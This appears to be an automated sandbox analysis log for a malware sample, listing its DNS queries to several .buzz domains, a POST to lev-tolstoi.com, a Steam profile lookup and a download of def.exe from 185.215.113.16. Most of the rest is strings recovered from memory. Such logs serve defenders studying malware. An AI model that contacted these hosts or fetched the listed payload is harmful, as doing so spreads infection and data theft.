Source: unknown	TCP traffic detected without corresponding DNS query: 20.190.177.146
Source: unknown	TCP traffic detected without corresponding DNS query: 20.190.177.146
Source: unknown	TCP traffic detected without corresponding DNS query: 173.222.162.64
Source: unknown	TCP traffic detected without corresponding DNS query: 173.222.162.64
Source: unknown	TCP traffic detected without corresponding DNS query: 20.198.119.84
Source: unknown	TCP traffic detected without corresponding DNS query: 20.198.119.84
Source: unknown	TCP traffic detected without corresponding DNS query: 20.198.119.84
Source: unknown	TCP traffic detected without corresponding DNS query: 20.198.119.84
Source: unknown	TCP traffic detected without corresponding DNS query: 20.198.119.84
Source: unknown	TCP traffic detected without corresponding DNS query: 173.222.162.64
Source: unknown	TCP traffic detected without corresponding DNS query: 20.198.119.84
Source: unknown	TCP traffic detected without corresponding DNS query: 20.198.119.84
Source: unknown	TCP traffic detected without corresponding DNS query: 20.198.119.84
Source: unknown	TCP traffic detected without corresponding DNS query: 20.198.119.84
Source: unknown	TCP traffic detected without corresponding DNS query: 20.198.119.84
Source: unknown	TCP traffic detected without corresponding DNS query: 20.198.119.84
Source: unknown	TCP traffic detected without corresponding DNS query: 20.198.119.84
Source: unknown	TCP traffic detected without corresponding DNS query: 20.198.119.84
Source: unknown	TCP traffic detected without corresponding DNS query: 173.222.162.64
Source: unknown	TCP traffic detected without corresponding DNS query: 173.222.162.64
Source: unknown	TCP traffic detected without corresponding DNS query: 173.222.162.64
Source: unknown	TCP traffic detected without corresponding DNS query: 20.198.119.84
Source: unknown	TCP traffic detected without corresponding DNS query: 20.198.119.84
Source: unknown	TCP traffic detected without corresponding DNS query: 20.198.119.84
Source: unknown	TCP traffic detected without corresponding DNS query: 20.198.119.84
Source: unknown	TCP traffic detected without corresponding DNS query: 20.198.119.84
Source: unknown	TCP traffic detected without corresponding DNS query: 20.198.119.84
Source: unknown	TCP traffic detected without corresponding DNS query: 20.198.119.84
Source: unknown	TCP traffic detected without corresponding DNS query: 20.198.119.84
Source: unknown	TCP traffic detected without corresponding DNS query: 20.198.119.84
Source: unknown	TCP traffic detected without corresponding DNS query: 20.198.119.84
Source: unknown	TCP traffic detected without corresponding DNS query: 20.198.119.84
Source: unknown	TCP traffic detected without corresponding DNS query: 20.198.119.84
Source: unknown	TCP traffic detected without corresponding DNS query: 20.198.119.84
Source: unknown	TCP traffic detected without corresponding DNS query: 20.198.119.84
Source: unknown	TCP traffic detected without corresponding DNS query: 20.198.119.84
Source: unknown	TCP traffic detected without corresponding DNS query: 20.198.119.84
Source: unknown	TCP traffic detected without corresponding DNS query: 20.198.119.84
Source: unknown	TCP traffic detected without corresponding DNS query: 173.222.162.64
Source: unknown	TCP traffic detected without corresponding DNS query: 20.198.119.84
Source: unknown	TCP traffic detected without corresponding DNS query: 20.198.119.84
Source: unknown	TCP traffic detected without corresponding DNS query: 20.198.119.84
Source: unknown	TCP traffic detected without corresponding DNS query: 20.198.119.84
Source: unknown	TCP traffic detected without corresponding DNS query: 20.198.119.84
Source: unknown	TCP traffic detected without corresponding DNS query: 20.198.119.84

Source: global traffic	HTTP traffic detected: GET /profiles/76561199724331900 HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Host: steamcommunity.com
Source: global traffic	HTTP traffic detected: GET /off/def.exe HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Host: 185.215.113.16

Source: chromecache_90.8.dr, chromecache_111.8.dr	String found in binary or memory: href="https://www.facebook.com/sharer/sharer.php?u=${s}" equals www.facebook.com (Facebook)
Source: chromecache_90.8.dr, chromecache_111.8.dr	String found in binary or memory: href="https://www.linkedin.com/cws/share?url=${s}" equals www.linkedin.com (Linkedin)
Source: chromecache_90.8.dr, chromecache_111.8.dr	String found in binary or memory: </section>`}function Dce(e=tw,t=gp){return sl(M4,e,t)}function $ce(e=aw,t=sw){return sl(t4,e,t)}var vI=(s=>(s.facebook="facebook",s.twitter="twitter",s.linkedin="linkedin",s.email="email",s.weibo="weibo",s))(vI\|\|{}),LRe={facebook:"https://www.facebook.com/sharer/sharer.php?u={url}",twitter:"https://twitter.com/intent/tweet?original_referer={url}&text={achievementCopy}&tw_p=tweetbutton&url={url}",linkedin:"https://www.linkedin.com/feed/?shareActive=true&text={body}",email:"mailto:?subject={subject}&body={body}",weibo:"http://service.weibo.com/share/share.php?title={title}&url={url}"};function $x(e,t,o){let n=encodeURIComponent(t),r=new URL(e);r.hostname="learn.microsoft.com";let s=r.href+=(e.indexOf("?")!==-1?"&":"?")+"WT.mc_id=",i=L.sharingId?`&sharingId=${L.sharingId}`:"";return Object.values(vI).reduce((l,c)=>{if(_.data.isPermissioned)return l[c]="#",l;let d=encodeURIComponent(s+c+i),u=o?.achievementCopyTitle?.overrideTitle??t,p=encodeURIComponent(rQ.replace("{achievementTitle}",o?.achievementCopyTitle?.isUnquoted?`${u}`:`"${u}"`)),g={achievementCopy:p,url:d,title:n,body:`${p}${encodeURIComponent(` equals www.facebook.com (Facebook)
Source: chromecache_90.8.dr, chromecache_111.8.dr	String found in binary or memory: </section>`}function Dce(e=tw,t=gp){return sl(M4,e,t)}function $ce(e=aw,t=sw){return sl(t4,e,t)}var vI=(s=>(s.facebook="facebook",s.twitter="twitter",s.linkedin="linkedin",s.email="email",s.weibo="weibo",s))(vI\|\|{}),LRe={facebook:"https://www.facebook.com/sharer/sharer.php?u={url}",twitter:"https://twitter.com/intent/tweet?original_referer={url}&text={achievementCopy}&tw_p=tweetbutton&url={url}",linkedin:"https://www.linkedin.com/feed/?shareActive=true&text={body}",email:"mailto:?subject={subject}&body={body}",weibo:"http://service.weibo.com/share/share.php?title={title}&url={url}"};function $x(e,t,o){let n=encodeURIComponent(t),r=new URL(e);r.hostname="learn.microsoft.com";let s=r.href+=(e.indexOf("?")!==-1?"&":"?")+"WT.mc_id=",i=L.sharingId?`&sharingId=${L.sharingId}`:"";return Object.values(vI).reduce((l,c)=>{if(_.data.isPermissioned)return l[c]="#",l;let d=encodeURIComponent(s+c+i),u=o?.achievementCopyTitle?.overrideTitle??t,p=encodeURIComponent(rQ.replace("{achievementTitle}",o?.achievementCopyTitle?.isUnquoted?`${u}`:`"${u}"`)),g={achievementCopy:p,url:d,title:n,body:`${p}${encodeURIComponent(` equals www.linkedin.com (Linkedin)
Source: chromecache_90.8.dr, chromecache_111.8.dr	String found in binary or memory: </section>`}function Dce(e=tw,t=gp){return sl(M4,e,t)}function $ce(e=aw,t=sw){return sl(t4,e,t)}var vI=(s=>(s.facebook="facebook",s.twitter="twitter",s.linkedin="linkedin",s.email="email",s.weibo="weibo",s))(vI\|\|{}),LRe={facebook:"https://www.facebook.com/sharer/sharer.php?u={url}",twitter:"https://twitter.com/intent/tweet?original_referer={url}&text={achievementCopy}&tw_p=tweetbutton&url={url}",linkedin:"https://www.linkedin.com/feed/?shareActive=true&text={body}",email:"mailto:?subject={subject}&body={body}",weibo:"http://service.weibo.com/share/share.php?title={title}&url={url}"};function $x(e,t,o){let n=encodeURIComponent(t),r=new URL(e);r.hostname="learn.microsoft.com";let s=r.href+=(e.indexOf("?")!==-1?"&":"?")+"WT.mc_id=",i=L.sharingId?`&sharingId=${L.sharingId}`:"";return Object.values(vI).reduce((l,c)=>{if(_.data.isPermissioned)return l[c]="#",l;let d=encodeURIComponent(s+c+i),u=o?.achievementCopyTitle?.overrideTitle??t,p=encodeURIComponent(rQ.replace("{achievementTitle}",o?.achievementCopyTitle?.isUnquoted?`${u}`:`"${u}"`)),g={achievementCopy:p,url:d,title:n,body:`${p}${encodeURIComponent(` equals www.twitter.com (Twitter)
Source: l0zocrLiVW.exe, 00000000.00000003.2190017394.000000000101C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: ed.com/ https://recaptcha.net https://www.google.com/recaptcha/ https://www.gstatic.cn/recaptcha/ https://www.gstatic.com/recaptcha/ https://www.youtube.com/ https://s.ytimg.com; object-src 'none'; connect-src 'self' https://community.fastly.steamstatic.com/ https://store.steampowered.com/ https://checkout.steampowered.com/ wss://community.steam-api.com/websocket/ https://api.steampowered.com/ https://login.steampowered.com/ https://help.steampowered.com/ https://steam.tv/ https://steamcommunity.com/ https://.valvesoftware.com https://.steambeta.net https://.discovery.beta.steamserver.net https://.steamcontent.com https://steambroadcast.akamaized.net https://steambroadcast-test.akamaized.net https://broadcast.st.dl.eccdnx.com https://lv.queniujq.cn https://steambroadcastchat.akamaized.net http://127.0.0.1:27060 ws://127.0.0.1:27060; frame-src 'self' steam: https://store.steampowered.com/ https://help.steampowered.com/ https://login.steampowered.com/ https://checkout.steampowered.com/ https://www.youtube.com https://www.google.com https://sketchfab.com https://player.vimeo.com https://medal.tv https://www.google.com/recaptcha/ https://recaptcha.net/recaptcha/; frame-ancestors 'self' https://store.steampowered.com/; equals www.youtube.com (Youtube)

Source: global traffic	DNS traffic detected: DNS query: mindhandru.buzz
Source: global traffic	DNS traffic detected: DNS query: prisonyfork.buzz
Source: global traffic	DNS traffic detected: DNS query: rebuildeso.buzz
Source: global traffic	DNS traffic detected: DNS query: scentniej.buzz
Source: global traffic	DNS traffic detected: DNS query: inherineau.buzz
Source: global traffic	DNS traffic detected: DNS query: screwamusresz.buzz
Source: global traffic	DNS traffic detected: DNS query: appliacnesot.buzz
Source: global traffic	DNS traffic detected: DNS query: cashfuzysao.buzz
Source: global traffic	DNS traffic detected: DNS query: hummskitnj.buzz
Source: global traffic	DNS traffic detected: DNS query: steamcommunity.com
Source: global traffic	DNS traffic detected: DNS query: lev-tolstoi.com
Source: global traffic	DNS traffic detected: DNS query: www.google.com
Source: global traffic	DNS traffic detected: DNS query: js.monitor.azure.com
Source: global traffic	DNS traffic detected: DNS query: mdec.nelreports.net

Source: unknown

HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 8Host: lev-tolstoi.com

Source: l0zocrLiVW.exe, 00000000.00000003.2190017394.000000000101C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://127.0.0.1:27060
Source: l0zocrLiVW.exe, 00000000.00000003.2478681002.0000000001065000.00000004.00000020.00020000.00000000.sdmp, l0zocrLiVW.exe, 00000000.00000002.2540165275.0000000001064000.00000004.00000020.00020000.00000000.sdmp, l0zocrLiVW.exe, 00000000.00000003.2479155961.0000000001067000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/off/def.exe
Source: l0zocrLiVW.exe, 00000000.00000002.2538632812.0000000000D5A000.00000004.00000010.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/off/def.exeeWebKit/537.36
Source: l0zocrLiVW.exe, 00000000.00000003.2264090730.000000000586D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertGlobalRootCA.crt0
Source: l0zocrLiVW.exe, 00000000.00000003.2264090730.000000000586D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertGlobalRootCA.crt0B
Source: l0zocrLiVW.exe, 00000000.00000003.2264090730.000000000586D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl.rootca1.amazontrust.com/rootca1.crl0
Source: l0zocrLiVW.exe, 00000000.00000003.2264090730.000000000586D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/DigiCertGlobalRootCA.crl07
Source: l0zocrLiVW.exe, 00000000.00000003.2264090730.000000000586D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/DigiCertGlobalRootCA.crl0=
Source: l0zocrLiVW.exe, 00000000.00000003.2264090730.000000000586D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl4.digicert.com/DigiCertGlobalRootCA.crl00
Source: l0zocrLiVW.exe, 00000000.00000003.2264090730.000000000586D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crt.rootca1.amazontrust.com/rootca1.cer0?
Source: l0zocrLiVW.exe, 00000000.00000003.2264090730.000000000586D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.digicert.com0
Source: l0zocrLiVW.exe, 00000000.00000003.2264090730.000000000586D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.rootca1.amazontrust.com0:
Source: chromecache_90.8.dr, chromecache_111.8.dr	String found in binary or memory: http://polymer.github.io/AUTHORS.txt
Source: chromecache_90.8.dr, chromecache_111.8.dr	String found in binary or memory: http://polymer.github.io/CONTRIBUTORS.txt
Source: chromecache_90.8.dr, chromecache_111.8.dr	String found in binary or memory: http://polymer.github.io/LICENSE.txt
Source: chromecache_90.8.dr, chromecache_111.8.dr	String found in binary or memory: http://polymer.github.io/PATENTS.txt
Source: chromecache_81.8.dr	String found in binary or memory: http://schema.org/Organization
Source: l0zocrLiVW.exe, 00000000.00000003.2189996394.000000000105C000.00000004.00000020.00020000.00000000.sdmp, l0zocrLiVW.exe, 00000000.00000003.2190017394.0000000000FCD000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://store.steampowered.com/account/cookiepreferences/
Source: l0zocrLiVW.exe, 00000000.00000003.2189996394.000000000105C000.00000004.00000020.00020000.00000000.sdmp, l0zocrLiVW.exe, 00000000.00000003.2190017394.0000000000FCD000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://store.steampowered.com/privacy_agreement/
Source: l0zocrLiVW.exe, 00000000.00000003.2189996394.000000000105C000.00000004.00000020.00020000.00000000.sdmp, l0zocrLiVW.exe, 00000000.00000003.2190017394.0000000000FCD000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://store.steampowered.com/subscriber_agreement/
Source: l0zocrLiVW.exe, 00000000.00000003.2189996394.000000000105C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.valvesoftware.com/legal.htm
Source: l0zocrLiVW.exe, 00000000.00000003.2264090730.000000000586D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://x1.c.lencr.org/0
Source: l0zocrLiVW.exe, 00000000.00000003.2264090730.000000000586D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://x1.i.lencr.org/0
Source: l0zocrLiVW.exe, 00000000.00000003.2213466317.000000000588A000.00000004.00000800.00020000.00000000.sdmp, l0zocrLiVW.exe, 00000000.00000003.2213364976.000000000588D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ac.ecosia.org/autocomplete?q=
Source: chromecache_90.8.dr, chromecache_111.8.dr	String found in binary or memory: https://aka.ms/MSIgniteChallenge/Tier1Banner?wt.mc_id=ignite24_learnbanner_tier1_cnl
Source: chromecache_90.8.dr, chromecache_111.8.dr	String found in binary or memory: https://aka.ms/certhelp
Source: chromecache_81.8.dr, chromecache_76.8.dr, chromecache_112.8.dr	String found in binary or memory: https://aka.ms/feedback/report?space=61
Source: chromecache_90.8.dr, chromecache_111.8.dr	String found in binary or memory: https://aka.ms/msignite_docs_banner
Source: chromecache_90.8.dr, chromecache_111.8.dr	String found in binary or memory: https://aka.ms/pshelpmechoose
Source: chromecache_81.8.dr	String found in binary or memory: https://aka.ms/yourcaliforniaprivacychoices
Source: l0zocrLiVW.exe, 00000000.00000003.2190017394.000000000101C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://api.steampowered.com/
Source: chromecache_81.8.dr	String found in binary or memory: https://authoring-docs-microsoft.poolparty.biz/devrel/69c76c32-967e-4c65-b89a-74cc527db725
Source: chromecache_81.8.dr	String found in binary or memory: https://authoring-docs-microsoft.poolparty.biz/devrel/7696cda6-0510-47f6-8302-71bb5d2e28cf
Source: l0zocrLiVW.exe, 00000000.00000003.2189996394.000000000105C000.00000004.00000020.00020000.00000000.sdmp, l0zocrLiVW.exe, 00000000.00000003.2190017394.0000000000FCD000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://avatars.fastly.steamstatic.com/fef49e7fa7e1997310d705b2a6158ff8dc1cdfeb_full.jpg
Source: chromecache_90.8.dr, chromecache_111.8.dr	String found in binary or memory: https://aznb-ame-prod.azureedge.net/component/$
Source: l0zocrLiVW.exe, 00000000.00000003.2288895904.000000000584E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://bridge.sfo1.admarketplace.net/ctp?version=16.0.0&key=1696484494400800000.2&ci=1696484494189.
Source: l0zocrLiVW.exe, 00000000.00000003.2190017394.000000000101C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://broadcast.st.dl.eccdnx.com
Source: l0zocrLiVW.exe, 00000000.00000003.2190182676.0000000000FE9000.00000004.00000020.00020000.00000000.sdmp, l0zocrLiVW.exe, 00000000.00000003.2190017394.0000000000FE7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://cashfuzysao.buzz:443/api0
Source: l0zocrLiVW.exe, 00000000.00000003.2213466317.000000000588A000.00000004.00000800.00020000.00000000.sdmp, l0zocrLiVW.exe, 00000000.00000003.2213364976.000000000588D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=
Source: l0zocrLiVW.exe, 00000000.00000003.2213466317.000000000588A000.00000004.00000800.00020000.00000000.sdmp, l0zocrLiVW.exe, 00000000.00000003.2213364976.000000000588D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search
Source: l0zocrLiVW.exe, 00000000.00000003.2213466317.000000000588A000.00000004.00000800.00020000.00000000.sdmp, l0zocrLiVW.exe, 00000000.00000003.2213364976.000000000588D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=
Source: chromecache_90.8.dr, chromecache_111.8.dr	String found in binary or memory: https://channel9.msdn.com/
Source: l0zocrLiVW.exe, 00000000.00000003.2190017394.000000000101C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://checkout.steampowered.com/
Source: chromecache_90.8.dr, chromecache_111.8.dr	String found in binary or memory: https://client-api.arkoselabs.com/v2/api.js
Source: l0zocrLiVW.exe, 00000000.00000003.2190017394.000000000101C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/
Source: l0zocrLiVW.exe, 00000000.00000003.2189996394.000000000105C000.00000004.00000020.00020000.00000000.sdmp, l0zocrLiVW.exe, 00000000.00000003.2190017394.0000000000FCD000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/css/applications/community/main.css?v=Lj6X7NKUMfzk&a
Source: l0zocrLiVW.exe, 00000000.00000003.2212325729.0000000001050000.00000004.00000020.00020000.00000000.sdmp, l0zocrLiVW.exe, 00000000.00000003.2189996394.000000000105C000.00000004.00000020.00020000.00000000.sdmp, l0zocrLiVW.exe, 00000000.00000003.2190017394.000000000101C000.00000004.00000020.00020000.00000000.sdmp, l0zocrLiVW.exe, 00000000.00000003.2212185596.000000000100A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/css/globalv2.css?v=hzEgqbtRcI5V&l=english&_c
Source: l0zocrLiVW.exe, 00000000.00000003.2189996394.000000000105C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/css/promo/summer2017/stickers.css?v=Ncr6N09yZIap&amp
Source: l0zocrLiVW.exe, 00000000.00000003.2189996394.000000000105C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/css/skin_1/header.css?v=EM4kCu67DNda&l=english&a
Source: l0zocrLiVW.exe, 00000000.00000003.2189996394.000000000105C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/css/skin_1/modalContent.css?v=WXAusLHclDIt&l=eng
Source: l0zocrLiVW.exe, 00000000.00000003.2189996394.000000000105C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/css/skin_1/profilev2.css?v=fe66ET2uI50l&l=englis
Source: l0zocrLiVW.exe, 00000000.00000003.2189996394.000000000105C000.00000004.00000020.00020000.00000000.sdmp, l0zocrLiVW.exe, 00000000.00000003.2190017394.0000000000FCD000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/images/skin_1/arrowDn9x5.gif
Source: l0zocrLiVW.exe, 00000000.00000003.2189996394.000000000105C000.00000004.00000020.00020000.00000000.sdmp, l0zocrLiVW.exe, 00000000.00000003.2190017394.0000000000FCD000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/images/skin_1/footerLogo_valve.png?v=1
Source: l0zocrLiVW.exe, 00000000.00000003.2189996394.000000000105C000.00000004.00000020.00020000.00000000.sdmp, l0zocrLiVW.exe, 00000000.00000003.2190017394.0000000000FCD000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/javascript/applications/community/libraries~b28b7af6
Source: l0zocrLiVW.exe, 00000000.00000003.2189996394.000000000105C000.00000004.00000020.00020000.00000000.sdmp, l0zocrLiVW.exe, 00000000.00000003.2190017394.0000000000FCD000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/javascript/applications/community/main.js?v=_92TWn81
Source: l0zocrLiVW.exe, 00000000.00000003.2189996394.000000000105C000.00000004.00000020.00020000.00000000.sdmp, l0zocrLiVW.exe, 00000000.00000003.2190017394.0000000000FCD000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/javascript/applications/community/manifest.js?v=FRRi
Source: l0zocrLiVW.exe, 00000000.00000003.2189996394.000000000105C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/javascript/global.js?v=jWc2JLWHx5Kn&l=english&am
Source: l0zocrLiVW.exe, 00000000.00000003.2189996394.000000000105C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/javascript/jquery-1.11.1.min.js?v=gQHVlrK4-jX-&l
Source: l0zocrLiVW.exe, 00000000.00000003.2189996394.000000000105C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/javascript/modalContent.js?v=uqf5ttWTRe7l&l=engl
Source: l0zocrLiVW.exe, 00000000.00000003.2189996394.000000000105C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/javascript/modalv2.js?v=zBXEuexVQ0FZ&l=english&a
Source: l0zocrLiVW.exe, 00000000.00000003.2189996394.000000000105C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/javascript/profile.js?v=GeQ6v03mWpAc&l=english&a
Source: l0zocrLiVW.exe, 00000000.00000003.2189996394.000000000105C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/javascript/promo/stickers.js?v=CcLRHsa04otQ&l=en
Source: l0zocrLiVW.exe, 00000000.00000003.2189996394.000000000105C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/javascript/prototype-1.7.js?v=npJElBnrEO6W&l=eng
Source: l0zocrLiVW.exe, 00000000.00000003.2189996394.000000000105C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/javascript/reportedcontent.js?v=-lZqrarogJr8&l=e
Source: l0zocrLiVW.exe, 00000000.00000003.2189996394.000000000105C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/javascript/scriptaculous/_combined.js?v=pbdAKOcDIgbC
Source: l0zocrLiVW.exe, 00000000.00000003.2189996394.000000000105C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/javascript/webui/clientcom.js?v=oOCAGrkRfpQ6&l=e
Source: l0zocrLiVW.exe, 00000000.00000003.2212325729.0000000001050000.00000004.00000020.00020000.00000000.sdmp, l0zocrLiVW.exe, 00000000.00000003.2190017394.000000000101C000.00000004.00000020.00020000.00000000.sdmp, l0zocrLiVW.exe, 00000000.00000003.2212185596.000000000100A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/shared/c
Source: l0zocrLiVW.exe, 00000000.00000003.2189996394.000000000105C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/shared/css/buttons.css?v=qhQgyjWi6LgJ&l=english&
Source: l0zocrLiVW.exe, 00000000.00000003.2189996394.000000000105C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/shared/css/motiva_sans.css?v=-yZgCk0Nu7kH&l=engl
Source: l0zocrLiVW.exe, 00000000.00000003.2212325729.0000000001050000.00000004.00000020.00020000.00000000.sdmp, l0zocrLiVW.exe, 00000000.00000003.2212185596.000000000100A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/shared/css/sha
Source: l0zocrLiVW.exe, 00000000.00000003.2189996394.000000000105C000.00000004.00000020.00020000.00000000.sdmp, l0zocrLiVW.exe, 00000000.00000003.2190017394.000000000101C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/shared/css/shared_global.css?v=wuA4X_n5-mo0&l=en
Source: l0zocrLiVW.exe, 00000000.00000003.2189996394.000000000105C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/shared/css/shared_responsive.css?v=JL1e4uQSrVGe&
Source: l0zocrLiVW.exe, 00000000.00000003.2189996394.000000000105C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/shared/images/header/logo_steam.svg?t=962016
Source: l0zocrLiVW.exe, 00000000.00000003.2189996394.000000000105C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/shared/images/responsive/header_logo.png
Source: l0zocrLiVW.exe, 00000000.00000003.2189996394.000000000105C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/shared/images/responsive/header_menu_hamburger.png
Source: l0zocrLiVW.exe, 00000000.00000003.2189996394.000000000105C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/shared/images/responsive/logo_valve_footer.png
Source: l0zocrLiVW.exe, 00000000.00000003.2189996394.000000000105C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/shared/javascript/auth_refresh.js?v=w6QbwI-5-j2S&amp
Source: l0zocrLiVW.exe, 00000000.00000003.2189996394.000000000105C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/shared/javascript/shared_global.js?v=Gr6TbGRvDtNE&am
Source: l0zocrLiVW.exe, 00000000.00000003.2189996394.000000000105C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/shared/javascript/shared_responsive_adapter.js?v=tvQ
Source: l0zocrLiVW.exe, 00000000.00000003.2189996394.000000000105C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/shared/javascript/tooltip.js?v=QYkT4eS5mbTN&l=en
Source: l0zocrLiVW.exe, 00000000.00000003.2213466317.000000000588A000.00000004.00000800.00020000.00000000.sdmp, l0zocrLiVW.exe, 00000000.00000003.2213364976.000000000588D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/ac/?q=
Source: l0zocrLiVW.exe, 00000000.00000003.2213466317.000000000588A000.00000004.00000800.00020000.00000000.sdmp, l0zocrLiVW.exe, 00000000.00000003.2213364976.000000000588D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/chrome_newtab
Source: l0zocrLiVW.exe, 00000000.00000003.2213466317.000000000588A000.00000004.00000800.00020000.00000000.sdmp, l0zocrLiVW.exe, 00000000.00000003.2213364976.000000000588D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=
Source: chromecache_81.8.dr	String found in binary or memory: https://github.com/Thraka
Source: chromecache_81.8.dr	String found in binary or memory: https://github.com/Youssef1313
Source: chromecache_81.8.dr	String found in binary or memory: https://github.com/adegeo
Source: chromecache_81.8.dr	String found in binary or memory: https://github.com/dotnet/docs/blob/17c4acca45e573a92878a44a2cce57d699fe9c7c/docs/framework/install/
Source: chromecache_81.8.dr	String found in binary or memory: https://github.com/dotnet/docs/blob/live/docs/framework/install/application-not-started.md
Source: chromecache_81.8.dr	String found in binary or memory: https://github.com/dotnet/docs/blob/main/docs/framework/install/application-not-started.md
Source: chromecache_81.8.dr	String found in binary or memory: https://github.com/dotnet/docs/issues/new?template=z-customer-feedback.yml
Source: chromecache_90.8.dr, chromecache_111.8.dr	String found in binary or memory: https://github.com/dotnet/try
Source: chromecache_81.8.dr	String found in binary or memory: https://github.com/gewarren
Source: chromecache_90.8.dr, chromecache_111.8.dr	String found in binary or memory: https://github.com/jonschlinkert/is-plain-object
